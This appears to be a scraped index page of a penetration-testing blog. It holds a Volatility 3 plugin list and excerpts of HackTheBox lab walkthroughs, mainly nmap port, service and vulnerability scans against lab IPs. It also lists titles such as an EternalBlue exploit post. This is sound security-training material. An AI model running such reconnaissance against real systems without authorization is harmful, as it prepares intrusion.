volatility: error: argument plugin: invalid choice —h (choose from banners.Banners, configwriter.ConfigWriter, frameworkinfo.FrameworkInfo, isfinfo.IsfInfo, layerwriter.LayerWriter, linux.bash.Bash, linux.check_afinfo.Check_afinfo, linux.check_creds.Check_creds, linux.check_idt.Check_idt, linux.check_modules.Check_modules, linux.check_syscall.Check_syscall, linux.elfs.Elfs, linux.keyboard_notifiers.Keyboard_notifiers, linux.kmsg.Kmsg, linux.lsmod.Lsmod, linux.lsof.Lsof, linux.malfind.Malfind, linux.proc.Maps, linux.pslist.PsList, linux.pstree.PsTree, linux.tty_check.tty_check, mac.bash.Bash, mac.check_syscall.Check_syscall, mac.check_sysctl.Check_sysctl, mac.check_trap_table.Check_trap_table, mac.ifconfig.Ifconfig, mac.kauth_listeners.Kauth_listeners, mac.kauth_scopes.Kauth_scopes, mac.kevents.Kevents, mac.list_files.List_Files, mac.lsmod.Lsmod, mac.lsof.Lsof, mac.malfind.Malfind, mac.mount.Mount, mac.netstat.Netstat, mac.proc_maps.Maps, mac.psaux.Psaux, mac.pslist.PsList, mac.pstree.PsTree, mac.socket_filters.Socket_filters, mac.timers.Timers, mac.trustedbsd.Trustedbsd, mac.vfsevents.VFSevents, timeliner.Timeliner, windows.bigpools.BigPools, windows.cachedump.Cachedump, windows.callbacks.Callbacks, windows.cmdline.CmdLine, windows.crashinfo.Crashinfo, windows.dlllist.DllList, windows.driverirp.DriverIrp, windows.driverscan.DriverScan, windows.dumpfiles.DumpFiles, windows.envars.Envars, windows.filescan.FileScan, windows.getservicesids.GetServiceSIDs, windows.getsids.GetSIDs, windows.handles.Handles, windows.hashdump.Hashdump, windows.info.Info, windows.ldrmodules.LdrModules, windows.lsadump.Lsadump, windows.malfind.Malfind, windows.memmap.Memmap, windows.mftscan.MFTScan, windows.modscan.ModScan, windows.modules.Modules, windows.mutantscan.MutantScan, windows.netscan.NetScan, windows.netstat.NetStat, windows.poolscanner.PoolScanner, windows.privileges.Privs, windows.pslist.PsList, windows.psscan.PsScan, windows.pstree.PsTree, windows.registry.certificates.Certificates, windows.registry.hivelist.HiveList, windows.registry.hivescan.HiveScan, windows.registry.printkey.PrintKey, windows.registry.userassist.UserAssist, windows.sessions.Sessions, windows.skeleton_key_check.Skeleton_Key_Check, windows.ssdt.SSDT, windows.statistics.Statistics, windows.strings.Strings, windows.svcscan.SvcScan, windows.symlinkscan.SymlinkScan, windows.vadinfo.VadInfo, windows.vadyarascan.VadYaraScan, windows.verinfo.VerInfo, windows.virtmap.VirtMap, yarascan.YaraScan)

Lets search for command format for Vol3 and i found this.Some cammnds I have tried and results uploaded [here](Rchitect/vol3-output at Yoda · tcprks/Rchitect · GitHub).

Oracle DB exploit using ODAT

Sun, 27 Feb 2022 00:00:00 +0000

Oracle DB exploit using ODAT Link to heading

Refer some of the nmap scan results here during the pentest

sudo nmap -sS -T4 -sV -sC 10.10.10.82 1 ⨯
[sudo] password for rocky: 
Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-24 06:14 EST
Nmap scan report for 10.10.10.82
Host is up (0.089s latency).
Not shown: 987 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 8.5
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: IIS Windows Server
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1521/tcp open oracle-tns Oracle TNS listener 11.2.0.2.0 (unauthorized)
8080/tcp open http Oracle XML DB Enterprise Edition httpd
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=XDB
|_http-server-header: Oracle XML DB/Oracle Database
|_http-title: 401 Unauthorized
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49159/tcp open oracle-tns Oracle TNS listener (requires service name)
49160/tcp open msrpc Microsoft Windows RPC
49161/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 15s, deviation: 0s, median: 14s
| smb-security-mode: 
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: supported
| smb2-security-mode: 
| 2.02: 
|_ Message signing enabled but not required
| smb2-time: 
| date: 2022-02-24T11:16:31
|_ start_date: 2022-02-24T00:28:20

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 130.34 seconds

SomeTheory on Oracle DB(from pentest point of view) Link to heading

The above Nmap results shows 1521 port is open and there are some reference for oracle DB as well. 1521 is the port which oracle DB uses to communicate with external servers or applications. The key points if we know 1521 is open to identify the SID.We can call SID as unique database identifier. One of the Method is Bruteforcing. I could see some on metasploit as well.

Port 161,162 SNMP enumeration

Sun, 27 Feb 2022 00:00:00 +0000

SNMP enumeration of port udp ports 161-162 Link to heading

Initial Scan

sudo nmap -sU --open -p 161 10.10.10.116 -oG out.txt\$ cat out.txt 
# Nmap 7.91 scan initiated Sun Mar 6 18:06:39 2022 as: nmap -sU --open -p 161 -oG out.txt 10.10.10.116
Host: 10.10.10.116 () Status: Up
Host: 10.10.10.116 () Ports: 161/open|filtered/udp//snmp///
# Nmap done at Sun Mar 6 18:06:40 2022 -- 1 IP address (1 host up) scanned in 1.04 seconds

Some Basic SNMP enumeration commands

Autorecon enumeration script in Kali linux

Thu, 24 Feb 2022 00:00:00 +0000

How to run Autorecon for Enumeration

Hackthebox Silo

Thu, 24 Feb 2022 00:00:00 +0000

Hackthebox Silo Walkthrough Link to heading

Initial Enumeration Link to heading

Port Scan Link to heading

─$ nmap -sT -p- -min-rate 10000 -Pn -oN alltcp.txt 10.10.10.82
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-23 19:46 EST
Nmap scan report for 10.10.10.82
Host is up (0.091s latency).
Not shown: 65261 filtered ports, 269 closed ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 121.90 seconds

┌──(rocky㉿kali)-[~/hckbox/silo]
└─$ nmap -sT -p- -min-rate 10000 -Pn -oN alltcp.txt 10.10.10.82
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-23 19:48 EST
Nmap scan report for 10.10.10.82
Host is up (0.100s latency).
Not shown: 65268 filtered ports, 262 closed ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
8080/tcp open http-proxy

Nmap done: 1 IP address (1 host up) scanned in 13.36 seconds

┌──(rocky㉿kali)-[~/hckbox/silo]
└─$ sudo nmap -sU -p- -min-rate 10000 -Pn -oN alludp.txt 10.10.10.82
[sudo] password for rocky: 
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-23 19:49 EST
Warning: 10.10.10.82 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.10.82
Host is up (0.16s latency).
All 65535 scanned ports on 10.10.10.82 are open|filtered (65460) or closed (75)

Nmap done: 1 IP address (1 host up) scanned in 75.11 seconds

┌──(rocky㉿kali)-[~/hckbox/silo]
└─$ sudo nmap -p 80,135,139,445,8080 -Pn -sC -sV -oN detailed.txt 10.10.10.82
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-23 19:53 EST
Nmap scan report for 10.10.10.82
Host is up (0.16s latency).

PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 8.5
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: IIS Windows Server
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
8080/tcp open http Oracle XML DB Enterprise Edition httpd
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=XDB
|_http-server-header: Oracle XML DB/Oracle Database
|_http-title: 400 Bad Request
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 3s, deviation: 0s, median: 3s
| smb-security-mode: 
| authentication_level: user
| challenge_response: supported
|_ message_signing: supported
| smb2-security-mode: 
| 2.02: 
|_ Message signing enabled but not required
| smb2-time: 
| date: 2022-02-24T00:53:53
|_ start_date: 2022-02-24T00:28:20

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.89 seconds

Vulnrability Scan Link to heading

$ sudo nmap -p 80,135,139,445,8080 -script VULN 10.10.10.82
Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-23 19:54 EST
Nmap scan report for 10.10.10.82
Host is up (0.057s latency).

PORT STATE SERVICE
80/tcp open http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
8080/tcp open http-proxy
| http-enum: 
|_ /i/: Potentially interesting folder

Host script results:
|_samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: No accounts left to try

Nmap done: 1 IP address (1 host up) scanned in 342.38 seconds

SMB enumeration Link to heading

It seems we may not get any information from SMB ports.

Hackthebox Buff

Wed, 23 Feb 2022 00:00:00 +0000

This post is about the Walkthrough of the hackthebox machine: Buff

ms17-010 eternal blue exploit using python3

Wed, 23 Feb 2022 00:00:00 +0000

This post is about the Walkthrough of the hackthebox machine: Legacy

Port forwarding from Windows

Wed, 23 Feb 2022 00:00:00 +0000

How to do Port Forwarding in Windows

Transfer Files From Windows to Linux with SMB2 support

Wed, 23 Feb 2022 00:00:00 +0000

How to Transfer Files from Windows to Linux using SMB2

Default python version change in Kali

Tue, 22 Feb 2022 00:00:00 +0000

This post is about changing the default Python version in Kali

Hackthebox Legacy

Tue, 22 Feb 2022 00:00:00 +0000

This post is about the Walkthrough of the hackthebox machine: Legacy

Install Impacket in Kali

Tue, 22 Feb 2022 00:00:00 +0000

This post is about changing the default Python version in Kali

Hackthebox Bastard

Thu, 17 Feb 2022 00:00:00 +0000

This post is about the Walkthrough of the hackthebox machine: Bastard

Hackthebox Cascade

Thu, 17 Feb 2022 00:00:00 +0000

This post is about the Walkthrough of the hackthebox machine: Cascade

Hackthebox Friendzone

Wed, 16 Feb 2022 00:00:00 +0000

This post is about the Walkthrough of the hackthebox machine: Friendzone

Finding Scoreboard/challenges page in Juicebox

Mon, 01 Jan 0001 00:00:00 +0000

Finding the Score board in Juicebox Link to heading

Installation Link to heading

The Installation has many options. The method i followed is packaged distribution installation.

Download the latest package from [here](Release v13.3.0 · juice-shop/juice-shop · GitHub).

For More details on other installation, can refer the[ github ](GitHub - juice-shop/juice-shop: OWASP Juice Shop: Probably the most modern and sophisticated insecure web application)page.